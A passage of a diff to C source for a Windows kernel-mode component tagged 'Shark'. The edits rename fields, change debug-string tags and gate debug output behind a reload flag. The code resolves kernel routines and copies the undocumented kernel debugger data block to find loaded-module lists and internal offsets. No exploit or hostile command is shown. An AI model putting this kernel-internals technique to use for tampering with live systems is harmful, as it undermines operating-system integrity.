#endif // DEBUG + } RtlInitUnicodeString(&String, L"ExReleaseSpinLockShared"); - Block->ExReleaseSpinLockShared = MmGetSystemRoutineAddress(&String); + Rtb->ExReleaseSpinLockShared = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > ExReleaseSpinLockShared\n", - Block->ExReleaseSpinLockShared); + vDbgPrint( + "[SHARK] < %p > ExReleaseSpinLockShared\n", + Rtb->ExReleaseSpinLockShared); #endif // DEBUG + } RtlInitUnicodeString(&String, L"DbgPrint"); - Block->DbgPrint = MmGetSystemRoutineAddress(&String); + Rtb->DbgPrint = MmGetSystemRoutineAddress(&String); + + if (CmdReload != + (Rtb->Operation & CmdReload)) { +#ifdef DEBUG + vDbgPrint( + "[SHARK] < %p > DbgPrint\n", + Rtb->DbgPrint); +#endif // DEBUG + } + + RtlInitUnicodeString(&String, L"KeWaitForSingleObject"); + + Rtb->KeWaitForSingleObject = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > DbgPrint\n", - Block->DbgPrint); + vDbgPrint( + "[SHARK] < %p > KeWaitForSingleObject\n", + Rtb->KeWaitForSingleObject); #endif // DEBUG + } RtlInitUnicodeString(&String, L"RtlCompareMemory"); - Block->RtlCompareMemory = MmGetSystemRoutineAddress(&String); + Rtb->RtlCompareMemory = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > RtlCompareMemory\n", - Block->RtlCompareMemory); + vDbgPrint( + "[SHARK] < %p > RtlCompareMemory\n", + Rtb->RtlCompareMemory); #endif // DEBUG + } RtlInitUnicodeString(&String, L"RtlRestoreContext"); - Block->RtlRestoreContext = MmGetSystemRoutineAddress(&String); + Rtb->RtlRestoreContext = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > RtlRestoreContext\n", - Block->RtlRestoreContext); + vDbgPrint( + "[SHARK] < %p > RtlRestoreContext\n", + Rtb->RtlRestoreContext); #endif // DEBUG + } RtlInitUnicodeString(&String, L"ExQueueWorkItem"); - Block->ExQueueWorkItem = MmGetSystemRoutineAddress(&String); + Rtb->ExQueueWorkItem = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > ExQueueWorkItem\n", - Block->ExQueueWorkItem); + vDbgPrint( + "[SHARK] < %p > ExQueueWorkItem\n", + Rtb->ExQueueWorkItem); #endif // DEBUG + } RtlInitUnicodeString(&String, L"ExFreePoolWithTag"); - Block->ExFreePoolWithTag = MmGetSystemRoutineAddress(&String); + Rtb->ExFreePoolWithTag = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > ExFreePoolWithTag\n", - Block->ExFreePoolWithTag); + vDbgPrint( + "[SHARK] < %p > ExFreePoolWithTag\n", + Rtb->ExFreePoolWithTag); #endif // DEBUG + } RtlInitUnicodeString(&String, L"KeBugCheckEx"); - Block->KeBugCheckEx = MmGetSystemRoutineAddress(&String); + Rtb->KeBugCheckEx = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > KeBugCheckEx\n", - Block->KeBugCheckEx); + vDbgPrint( + "[SHARK] < %p > KeBugCheckEx\n", + Rtb->KeBugCheckEx); #endif // DEBUG + } RtlInitUnicodeString(&String, L"ExInterlockedRemoveHeadList"); - Block->ExInterlockedRemoveHeadList = MmGetSystemRoutineAddress(&String); + Rtb->ExInterlockedRemoveHeadList = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > ExInterlockedRemoveHeadList\n", - Block->ExInterlockedRemoveHeadList); + vDbgPrint( + "[SHARK] < %p > ExInterlockedRemoveHeadList\n", + Rtb->ExInterlockedRemoveHeadList); #endif // DEBUG + } RtlInitUnicodeString(&String, L"ExAcquireRundownProtection"); - Block->ExAcquireRundownProtection = MmGetSystemRoutineAddress(&String); + Rtb->ExAcquireRundownProtection = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > ExAcquireRundownProtection\n", - Block->ExAcquireRundownProtection); + vDbgPrint( + "[SHARK] < %p > ExAcquireRundownProtection\n", + Rtb->ExAcquireRundownProtection); #endif // DEBUG + } RtlInitUnicodeString(&String, L"ExReleaseRundownProtection"); - Block->ExReleaseRundownProtection = MmGetSystemRoutineAddress(&String); + Rtb->ExReleaseRundownProtection = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > ExReleaseRundownProtection\n", - Block->ExReleaseRundownProtection); + vDbgPrint( + "[SHARK] < %p > ExReleaseRundownProtection\n", + Rtb->ExReleaseRundownProtection); #endif // DEBUG + } RtlInitUnicodeString(&String, L"ExWaitForRundownProtectionRelease"); - Block->ExWaitForRundownProtectionRelease = MmGetSystemRoutineAddress(&String); + Rtb->ExWaitForRundownProtectionRelease = MmGetSystemRoutineAddress(&String); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > ExWaitForRundownProtectionRelease\n", - Block->ExWaitForRundownProtectionRelease); + vDbgPrint( + "[SHARK] < %p > ExWaitForRundownProtectionRelease\n", + Rtb->ExWaitForRundownProtectionRelease); #endif // DEBUG + } Context.ContextFlags = CONTEXT_FULL; @@ -287,177 +354,180 @@ InitializeGpBlock( KdDebuggerDataBlock = (u8ptr)DumpHeader + KDDEBUGGER_DATA_OFFSET; RtlCopyMemory( - &Block->DebuggerDataBlock, + &Rtb->DebuggerDataBlock, KdDebuggerDataBlock, sizeof(KDDEBUGGER_DATA64)); KdDebuggerDataAdditionBlock = (PKDDEBUGGER_DATA_ADDITION64)(KdDebuggerDataBlock + 1); RtlCopyMemory( - &Block->DebuggerDataAdditionBlock, + &Rtb->DebuggerDataAdditionBlock, KdDebuggerDataAdditionBlock, sizeof(KDDEBUGGER_DATA_ADDITION64)); - Block->PsLoadedModuleList = - (PLIST_ENTRY)Block->DebuggerDataBlock.PsLoadedModuleList; + Rtb->PsLoadedModuleList = + (PLIST_ENTRY)Rtb->DebuggerDataBlock.PsLoadedModuleList; - Block->KernelDataTableEntry = CONTAINING_RECORD( - Block->PsLoadedModuleList->Flink, + Rtb->KernelDataTableEntry = CONTAINING_RECORD( + Rtb->PsLoadedModuleList->Flink, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks); + if (CmdReload != + (Rtb->Operation & CmdReload)) { #ifdef DEBUG - /// vDbgPrint("[Shark] [Kernel] < %p > Header\n", KdDebuggerDataBlock->Header); - //vDbgPrint("[Shark] [Kernel] < %p > KernBase\n", KdDebuggerDataBlock->KernBase); - /// vDbgPrint("[Shark] [Kernel] < %p > BreakpointWithStatus\n", KdDebuggerDataBlock->BreakpointWithStatus); - /// vDbgPrint("[Shark] [Kernel] < %p > SavedContext\n", KdDebuggerDataBlock->SavedContext); - /// vDbgPrint("[Shark] [Kernel] < %p > ThCallbackStack\n", KdDebuggerDataBlock->ThCallbackStack); - /// vDbgPrint("[Shark] [Kernel] < %p > NextCallback\n", KdDebuggerDataBlock->NextCallback); - /// vDbgPrint("[Shark] [Kernel] < %p > FramePointer\n", KdDebuggerDataBlock->FramePointer); - // vDbgPrint("[Shark] [Kernel] < %p > PaeEnabled\n", KdDebuggerDataBlock->PaeEnabled); - /// vDbgPrint("[Shark] [Kernel] < %p > KiCallUserMode\n", KdDebuggerDataBlock->KiCallUserMode); - /// vDbgPrint("[Shark] [Kernel] < %p > KeUserCallbackDispatcher\n", KdDebuggerDataBlock->KeUserCallbackDispatcher); - // vDbgPrint("[Shark] [Kernel] < %p > PsLoadedModuleList\n", KdDebuggerDataBlock->PsLoadedModuleList); - // vDbgPrint("[Shark] [Kernel] < %p > PsActiveProcessHead\n", KdDebuggerDataBlock->PsActiveProcessHead); - // vDbgPrint("[Shark] [Kernel] < %p > PspCidTable\n", KdDebuggerDataBlock->PspCidTable); - /// vDbgPrint("[Shark] [Kernel] < %p > ExpSystemResourcesList\n", KdDebuggerDataBlock->ExpSystemResourcesList); - /// vDbgPrint("[Shark] [Kernel] < %p > ExpPagedPoolDescriptor\n", KdDebuggerDataBlock->ExpPagedPoolDescriptor); - /// vDbgPrint("[Shark] [Kernel] < %p > ExpNumberOfPagedPools\n", KdDebuggerDataBlock->ExpNumberOfPagedPools); - /// vDbgPrint("[Shark] [Kernel] < %p > KeTimeIncrement\n", KdDebuggerDataBlock->KeTimeIncrement); - /// vDbgPrint("[Shark] [Kernel] < %p > KeBugCheckCallbackListHead\n", KdDebuggerDataBlock->KeBugCheckCallbackListHead); - /// vDbgPrint("[Shark] [Kernel] < %p > KiBugcheckData\n", KdDebuggerDataBlock->KiBugcheckData); - /// vDbgPrint("[Shark] [Kernel] < %p > IopErrorLogListHead\n", KdDebuggerDataBlock->IopErrorLogListHead); - /// vDbgPrint("[Shark] [Kernel] < %p > ObpRootDirectoryObject\n", KdDebuggerDataBlock->ObpRootDirectoryObject); - /// vDbgPrint("[Shark] [Kernel] < %p > ObpTypeObjectType\n", KdDebuggerDataBlock->ObpTypeObjectType); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSystemCacheStart\n", KdDebuggerDataBlock->MmSystemCacheStart); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSystemCacheEnd\n", KdDebuggerDataBlock->MmSystemCacheEnd); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSystemCacheWs\n", KdDebuggerDataBlock->MmSystemCacheWs); - // vDbgPrint("[Shark] [Kernel] < %p > MmPfnDatabase\n", KdDebuggerDataBlock->MmPfnDatabase); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSystemPtesStart\n", KdDebuggerDataBlock->MmSystemPtesStart); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSystemPtesEnd\n", KdDebuggerDataBlock->MmSystemPtesEnd); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSubsectionBase\n", KdDebuggerDataBlock->MmSubsectionBase); - /// vDbgPrint("[Shark] [Kernel] < %p > MmNumberOfPagingFiles\n", KdDebuggerDataBlock->MmNumberOfPagingFiles); - /// vDbgPrint("[Shark] [Kernel] < %p > MmLowestPhysicalPage\n", KdDebuggerDataBlock->MmLowestPhysicalPage); - /// vDbgPrint("[Shark] [Kernel] < %p > MmHighestPhysicalPage\n", KdDebuggerDataBlock->MmHighestPhysicalPage); - /// vDbgPrint("[Shark] [Kernel] < %p > MmNumberOfPhysicalPages\n", KdDebuggerDataBlock->MmNumberOfPhysicalPages); - /// vDbgPrint("[Shark] [Kernel] < %p > MmMaximumNonPagedPoolInBytes\n", KdDebuggerDataBlock->MmMaximumNonPagedPoolInBytes); - /// vDbgPrint("[Shark] [Kernel] < %p > MmNonPagedSystemStart\n", KdDebuggerDataBlock->MmNonPagedSystemStart); - /// vDbgPrint("[Shark] [Kernel] < %p > MmNonPagedPoolStart\n", KdDebuggerDataBlock->MmNonPagedPoolStart); - /// vDbgPrint("[Shark] [Kernel] < %p > MmNonPagedPoolEnd\n", KdDebuggerDataBlock->MmNonPagedPoolEnd); - /// vDbgPrint("[Shark] [Kernel] < %p > MmPagedPoolStart\n", KdDebuggerDataBlock->MmPagedPoolStart); - /// vDbgPrint("[Shark] [Kernel] < %p > MmPagedPoolEnd\n", KdDebuggerDataBlock->MmPagedPoolEnd); - /// vDbgPrint("[Shark] [Kernel] < %p > MmPagedPoolInformation\n", KdDebuggerDataBlock->MmPagedPoolInformation); - /// vDbgPrint("[Shark] [Kernel] < %p > MmPageSize\n", KdDebuggerDataBlock->MmPageSize); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSizeOfPagedPoolInBytes\n", KdDebuggerDataBlock->MmSizeOfPagedPoolInBytes); - /// vDbgPrint("[Shark] [Kernel] < %p > MmTotalCommitLimit\n", KdDebuggerDataBlock->MmTotalCommitLimit); - /// vDbgPrint("[Shark] [Kernel] < %p > MmTotalCommittedPages\n", KdDebuggerDataBlock->MmTotalCommittedPages); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSharedCommit\n", KdDebuggerDataBlock->MmSharedCommit); - /// vDbgPrint("[Shark] [Kernel] < %p > MmDriverCommit\n", KdDebuggerDataBlock->MmDriverCommit); - /// vDbgPrint("[Shark] [Kernel] < %p > MmProcessCommit\n", KdDebuggerDataBlock->MmProcessCommit); - /// vDbgPrint("[Shark] [Kernel] < %p > MmPagedPoolCommit\n", KdDebuggerDataBlock->MmPagedPoolCommit); - /// vDbgPrint("[Shark] [Kernel] < %p > MmExtendedCommit\n", KdDebuggerDataBlock->MmExtendedCommit); - /// vDbgPrint("[Shark] [Kernel] < %p > MmZeroedPageListHead\n", KdDebuggerDataBlock->MmZeroedPageListHead); - /// vDbgPrint("[Shark] [Kernel] < %p > MmFreePageListHead\n", KdDebuggerDataBlock->MmFreePageListHead); - /// vDbgPrint("[Shark] [Kernel] < %p > MmStandbyPageListHead\n", KdDebuggerDataBlock->MmStandbyPageListHead); - /// vDbgPrint("[Shark] [Kernel] < %p > MmModifiedPageListHead\n", KdDebuggerDataBlock->MmModifiedPageListHead); - /// vDbgPrint("[Shark] [Kernel] < %p > MmModifiedNoWritePageListHead\n", KdDebuggerDataBlock->MmModifiedNoWritePageListHead); - /// vDbgPrint("[Shark] [Kernel] < %p > MmAvailablePages\n", KdDebuggerDataBlock->MmAvailablePages); - /// vDbgPrint("[Shark] [Kernel] < %p > MmResidentAvailablePages\n", KdDebuggerDataBlock->MmResidentAvailablePages); - /// vDbgPrint("[Shark] [Kernel] < %p > PoolTrackTable\n", KdDebuggerDataBlock->PoolTrackTable); - /// vDbgPrint("[Shark] [Kernel] < %p > NonPagedPoolDescriptor\n", KdDebuggerDataBlock->NonPagedPoolDescriptor); - /// vDbgPrint("[Shark] [Kernel] < %p > MmHighestUserAddress\n", KdDebuggerDataBlock->MmHighestUserAddress); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSystemRangeStart\n", KdDebuggerDataBlock->MmSystemRangeStart); - /// vDbgPrint("[Shark] [Kernel] < %p > MmUserProbeAddress\n", KdDebuggerDataBlock->MmUserProbeAddress); - /// vDbgPrint("[Shark] [Kernel] < %p > KdPrintCircularBuffer\n", KdDebuggerDataBlock->KdPrintCircularBuffer); - /// vDbgPrint("[Shark] [Kernel] < %p > KdPrintCircularBufferEnd\n", KdDebuggerDataBlock->KdPrintCircularBufferEnd); - /// vDbgPrint("[Shark] [Kernel] < %p > KdPrintWritePointer\n", KdDebuggerDataBlock->KdPrintWritePointer); - /// vDbgPrint("[Shark] [Kernel] < %p > KdPrintRolloverCount\n", KdDebuggerDataBlock->KdPrintRolloverCount); - /// vDbgPrint("[Shark] [Kernel] < %p > MmLoadedUserImageList\n", KdDebuggerDataBlock->MmLoadedUserImageList); - /// vDbgPrint("[Shark] [Kernel] < %p > NtBuildLab\n", KdDebuggerDataBlock->NtBuildLab); - /// vDbgPrint("[Shark] [Kernel] < %p > KiNormalSystemCall\n", KdDebuggerDataBlock->KiNormalSystemCall); - /// vDbgPrint("[Shark] [Kernel] < %p > KiProcessorBlock\n", KdDebuggerDataBlock->KiProcessorBlock); - /// vDbgPrint("[Shark] [Kernel] < %p > MmUnloadedDrivers\n", KdDebuggerDataBlock->MmUnloadedDrivers); - /// vDbgPrint("[Shark] [Kernel] < %p > MmLastUnloadedDriver\n", KdDebuggerDataBlock->MmLastUnloadedDriver); - /// vDbgPrint("[Shark] [Kernel] < %p > MmTriageActionTaken\n", KdDebuggerDataBlock->MmTriageActionTaken); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSpecialPoolTag\n", KdDebuggerDataBlock->MmSpecialPoolTag); - /// vDbgPrint("[Shark] [Kernel] < %p > KernelVerifier\n", KdDebuggerDataBlock->KernelVerifier); - /// vDbgPrint("[Shark] [Kernel] < %p > MmVerifierData\n", KdDebuggerDataBlock->MmVerifierData); - /// vDbgPrint("[Shark] [Kernel] < %p > MmAllocatedNonPagedPool\n", KdDebuggerDataBlock->MmAllocatedNonPagedPool); - /// vDbgPrint("[Shark] [Kernel] < %p > MmPeakCommitment\n", KdDebuggerDataBlock->MmPeakCommitment); - /// vDbgPrint("[Shark] [Kernel] < %p > MmTotalCommitLimitMaximum\n", KdDebuggerDataBlock->MmTotalCommitLimitMaximum); - /// vDbgPrint("[Shark] [Kernel] < %p > CmNtCSDVersion\n", KdDebuggerDataBlock->CmNtCSDVersion); - /// vDbgPrint("[Shark] [Kernel] < %p > MmPhysicalMemoryBlock\n", KdDebuggerDataBlock->MmPhysicalMemoryBlock); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSessionBase\n", KdDebuggerDataBlock->MmSessionBase); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSessionSize\n", KdDebuggerDataBlock->MmSessionSize); - /// vDbgPrint("[Shark] [Kernel] < %p > MmSystemParentTablePage\n", KdDebuggerDataBlock->MmSystemParentTablePage); - /// vDbgPrint("[Shark] [Kernel] < %p > MmVirtualTranslationBase\n", KdDebuggerDataBlock->MmVirtualTranslationBase); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetKThreadNextProcessor\n", KdDebuggerDataBlock->OffsetKThreadNextProcessor); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetKThreadTeb\n", KdDebuggerDataBlock->OffsetKThreadTeb); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetKThreadKernelStack\n", KdDebuggerDataBlock->OffsetKThreadKernelStack); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetKThreadInitialStack\n", KdDebuggerDataBlock->OffsetKThreadInitialStack); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetKThreadApcProcess\n", KdDebuggerDataBlock->OffsetKThreadApcProcess); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetKThreadState\n", KdDebuggerDataBlock->OffsetKThreadState); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetKThreadBStore\n", KdDebuggerDataBlock->OffsetKThreadBStore); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetKThreadBStoreLimit\n", KdDebuggerDataBlock->OffsetKThreadBStoreLimit); - // vDbgPrint("[Shark] [Kernel] < %p > SizeEProcess\n", KdDebuggerDataBlock->SizeEProcess); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetEprocessPeb\n", KdDebuggerDataBlock->OffsetEprocessPeb); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetEprocessParentCID\n", KdDebuggerDataBlock->OffsetEprocessParentCID); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetEprocessDirectoryTableBase\n", KdDebuggerDataBlock->OffsetEprocessDirectoryTableBase); - // vDbgPrint("[Shark] [Kernel] < %p > SizePrcb\n", KdDebuggerDataBlock->SizePrcb); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPrcbDpcRoutine\n", KdDebuggerDataBlock->OffsetPrcbDpcRoutine); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPrcbCurrentThread\n", KdDebuggerDataBlock->OffsetPrcbCurrentThread); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPrcbMhz\n", KdDebuggerDataBlock->OffsetPrcbMhz); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPrcbCpuType\n", KdDebuggerDataBlock->OffsetPrcbCpuType); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPrcbVendorString\n", KdDebuggerDataBlock->OffsetPrcbVendorString); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPrcbProcStateContext\n", KdDebuggerDataBlock->OffsetPrcbProcStateContext); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPrcbNumber\n", KdDebuggerDataBlock->OffsetPrcbNumber); - // vDbgPrint("[Shark] [Kernel] < %p > SizeEThread\n", KdDebuggerDataBlock->SizeEThread); - /// vDbgPrint("[Shark] [Kernel] < %p > KdPrintCircularBufferPtr\n", KdDebuggerDataBlock->KdPrintCircularBufferPtr); - /// vDbgPrint("[Shark] [Kernel] < %p > KdPrintBufferSize\n", KdDebuggerDataBlock->KdPrintBufferSize); - /// vDbgPrint("[Shark] [Kernel] < %p > KeLoaderBlock\n", KdDebuggerDataBlock->KeLoaderBlock); - // vDbgPrint("[Shark] [Kernel] < %p > SizePcr\n", KdDebuggerDataBlock->SizePcr); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPcrSelfPcr\n", KdDebuggerDataBlock->OffsetPcrSelfPcr); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPcrCurrentPrcb\n", KdDebuggerDataBlock->OffsetPcrCurrentPrcb); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPcrContainedPrcb\n", KdDebuggerDataBlock->OffsetPcrContainedPrcb); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPcrInitialBStore\n", KdDebuggerDataBlock->OffsetPcrInitialBStore); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPcrBStoreLimit\n", KdDebuggerDataBlock->OffsetPcrBStoreLimit); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPcrInitialStack\n", KdDebuggerDataBlock->OffsetPcrInitialStack); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPcrStackLimit\n", KdDebuggerDataBlock->OffsetPcrStackLimit); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPrcbPcrPage\n", KdDebuggerDataBlock->OffsetPrcbPcrPage); - // vDbgPrint("[Shark] [Kernel] < %p > OffsetPrcbProcStateSpecialReg\n", KdDebuggerDataBlock->OffsetPrcbProcStateSpecialReg); - // vDbgPrint("[Shark] [Kernel] < %p > GdtR0Code\n", KdDebuggerDataBlock->GdtR0Code); - // vDbgPrint("[Shark] [Kernel] < %p > GdtR0Data\n", KdDebuggerDataBlock->GdtR0Data); - // vDbgPrint("[Shark] [Kernel] < %p > GdtR0Pcr\n", KdDebuggerDataBlock->GdtR0Pcr); - // vDbgPrint("[Shark] [Kernel] < %p > GdtR3Code\n", KdDebuggerDataBlock->GdtR3Code); - // vDbgPrint("[Shark] [Kernel] < %p > GdtR3Data\n", KdDebuggerDataBlock->GdtR3Data); - // vDbgPrint("[Shark] [Kernel] < %p > GdtR3Teb\n", KdDebuggerDataBlock->GdtR3Teb); - // vDbgPrint("[Shark] [Kernel] < %p > GdtLdt\n", KdDebuggerDataBlock->GdtLdt); - // vDbgPrint("[Shark] [Kernel] < %p > GdtTss\n", KdDebuggerDataBlock->GdtTss); - // vDbgPrint("[Shark] [Kernel] < %p > Gdt64R3CmCode\n", KdDebuggerDataBlock->Gdt64R3CmCode); - // vDbgPrint("[Shark] [Kernel] < %p > Gdt64R3CmTeb\n", KdDebuggerDataBlock->Gdt64R3CmTeb); - /// vDbgPrint("[Shark] [Kernel] < %p > IopNumTriageDumpDataBlocks\n", KdDebuggerDataBlock->IopNumTriageDumpDataBlocks); - /// vDbgPrint("[Shark] [Kernel] < %p > IopTriageDumpDataBlocks\n", KdDebuggerDataBlock->IopTriageDumpDataBlocks); - - if (Block->BuildNumber >= 10586) { - // vDbgPrint("[Shark] [Kernel] < %p > PteBase\n", KdDebuggerDataAdditionBlock->PteBase); - } + /// vDbgPrint("[SHARK] < %p > Header\n", KdDebuggerDataBlock->Header); + //vDbgPrint("[SHARK] < %p > KernBase\n", KdDebuggerDataBlock->KernBase); + /// vDbgPrint("[SHARK] < %p > BreakpointWithStatus\n", KdDebuggerDataBlock->BreakpointWithStatus); + /// vDbgPrint("[SHARK] < %p > SavedContext\n", KdDebuggerDataBlock->SavedContext); + /// vDbgPrint("[SHARK] < %p > ThCallbackStack\n", KdDebuggerDataBlock->ThCallbackStack); + /// vDbgPrint("[SHARK] < %p > NextCallback\n", KdDebuggerDataBlock->NextCallback); + /// vDbgPrint("[SHARK] < %p > FramePointer\n", KdDebuggerDataBlock->FramePointer); + // vDbgPrint("[SHARK] < %p > PaeEnabled\n", KdDebuggerDataBlock->PaeEnabled); + /// vDbgPrint("[SHARK] < %p > KiCallUserMode\n", KdDebuggerDataBlock->KiCallUserMode); + /// vDbgPrint("[SHARK] < %p > KeUserCallbackDispatcher\n", KdDebuggerDataBlock->KeUserCallbackDispatcher); + // vDbgPrint("[SHARK] < %p > PsLoadedModuleList\n", KdDebuggerDataBlock->PsLoadedModuleList); + // vDbgPrint("[SHARK] < %p > PsActiveProcessHead\n", KdDebuggerDataBlock->PsActiveProcessHead); + // vDbgPrint("[SHARK] < %p > PspCidTable\n", KdDebuggerDataBlock->PspCidTable); + /// vDbgPrint("[SHARK] < %p > ExpSystemResourcesList\n", KdDebuggerDataBlock->ExpSystemResourcesList); + /// vDbgPrint("[SHARK] < %p > ExpPagedPoolDescriptor\n", KdDebuggerDataBlock->ExpPagedPoolDescriptor); + /// vDbgPrint("[SHARK] < %p > ExpNumberOfPagedPools\n", KdDebuggerDataBlock->ExpNumberOfPagedPools); + /// vDbgPrint("[SHARK] < %p > KeTimeIncrement\n", KdDebuggerDataBlock->KeTimeIncrement); + /// vDbgPrint("[SHARK] < %p > KeBugCheckCallbackListHead\n", KdDebuggerDataBlock->KeBugCheckCallbackListHead); + /// vDbgPrint("[SHARK] < %p > KiBugcheckData\n", KdDebuggerDataBlock->KiBugcheckData); + /// vDbgPrint("[SHARK] < %p > IopErrorLogListHead\n", KdDebuggerDataBlock->IopErrorLogListHead); + /// vDbgPrint("[SHARK] < %p > ObpRootDirectoryObject\n", KdDebuggerDataBlock->ObpRootDirectoryObject); + /// vDbgPrint("[SHARK] < %p > ObpTypeObjectType\n", KdDebuggerDataBlock->ObpTypeObjectType); + /// vDbgPrint("[SHARK] < %p > MmSystemCacheStart\n", KdDebuggerDataBlock->MmSystemCacheStart); + /// vDbgPrint("[SHARK] < %p > MmSystemCacheEnd\n", KdDebuggerDataBlock->MmSystemCacheEnd); + /// vDbgPrint("[SHARK] < %p > MmSystemCacheWs\n", KdDebuggerDataBlock->MmSystemCacheWs); + // vDbgPrint("[SHARK] < %p > MmPfnDatabase\n", KdDebuggerDataBlock->MmPfnDatabase); + /// vDbgPrint("[SHARK] < %p > MmSystemPtesStart\n", KdDebuggerDataBlock->MmSystemPtesStart); + /// vDbgPrint("[SHARK] < %p > MmSystemPtesEnd\n", KdDebuggerDataBlock->MmSystemPtesEnd); + /// vDbgPrint("[SHARK] < %p > MmSubsectionBase\n", KdDebuggerDataBlock->MmSubsectionBase); + /// vDbgPrint("[SHARK] < %p > MmNumberOfPagingFiles\n", KdDebuggerDataBlock->MmNumberOfPagingFiles); + /// vDbgPrint("[SHARK] < %p > MmLowestPhysicalPage\n", KdDebuggerDataBlock->MmLowestPhysicalPage); + /// vDbgPrint("[SHARK] < %p > MmHighestPhysicalPage\n", KdDebuggerDataBlock->MmHighestPhysicalPage); + /// vDbgPrint("[SHARK] < %p > MmNumberOfPhysicalPages\n", KdDebuggerDataBlock->MmNumberOfPhysicalPages); + /// vDbgPrint("[SHARK] < %p > MmMaximumNonPagedPoolInBytes\n", KdDebuggerDataBlock->MmMaximumNonPagedPoolInBytes); + /// vDbgPrint("[SHARK] < %p > MmNonPagedSystemStart\n", KdDebuggerDataBlock->MmNonPagedSystemStart); + /// vDbgPrint("[SHARK] < %p > MmNonPagedPoolStart\n", KdDebuggerDataBlock->MmNonPagedPoolStart); + /// vDbgPrint("[SHARK] < %p > MmNonPagedPoolEnd\n", KdDebuggerDataBlock->MmNonPagedPoolEnd); + /// vDbgPrint("[SHARK] < %p > MmPagedPoolStart\n", KdDebuggerDataBlock->MmPagedPoolStart); + /// vDbgPrint("[SHARK] < %p > MmPagedPoolEnd\n", KdDebuggerDataBlock->MmPagedPoolEnd); + /// vDbgPrint("[SHARK] < %p > MmPagedPoolInformation\n", KdDebuggerDataBlock->MmPagedPoolInformation); + /// vDbgPrint("[SHARK] < %p > MmPageSize\n", KdDebuggerDataBlock->MmPageSize); + /// vDbgPrint("[SHARK] < %p > MmSizeOfPagedPoolInBytes\n", KdDebuggerDataBlock->MmSizeOfPagedPoolInBytes); + /// vDbgPrint("[SHARK] < %p > MmTotalCommitLimit\n", KdDebuggerDataBlock->MmTotalCommitLimit); + /// vDbgPrint("[SHARK] < %p > MmTotalCommittedPages\n", KdDebuggerDataBlock->MmTotalCommittedPages); + /// vDbgPrint("[SHARK] < %p > MmSharedCommit\n", KdDebuggerDataBlock->MmSharedCommit); + /// vDbgPrint("[SHARK] < %p > MmDriverCommit\n", KdDebuggerDataBlock->MmDriverCommit); + /// vDbgPrint("[SHARK] < %p > MmProcessCommit\n", KdDebuggerDataBlock->MmProcessCommit); + /// vDbgPrint("[SHARK] < %p > MmPagedPoolCommit\n", KdDebuggerDataBlock->MmPagedPoolCommit); + /// vDbgPrint("[SHARK] < %p > MmExtendedCommit\n", KdDebuggerDataBlock->MmExtendedCommit); + /// vDbgPrint("[SHARK] < %p > MmZeroedPageListHead\n", KdDebuggerDataBlock->MmZeroedPageListHead); + /// vDbgPrint("[SHARK] < %p > MmFreePageListHead\n", KdDebuggerDataBlock->MmFreePageListHead); + /// vDbgPrint("[SHARK] < %p > MmStandbyPageListHead\n", KdDebuggerDataBlock->MmStandbyPageListHead); + /// vDbgPrint("[SHARK] < %p > MmModifiedPageListHead\n", 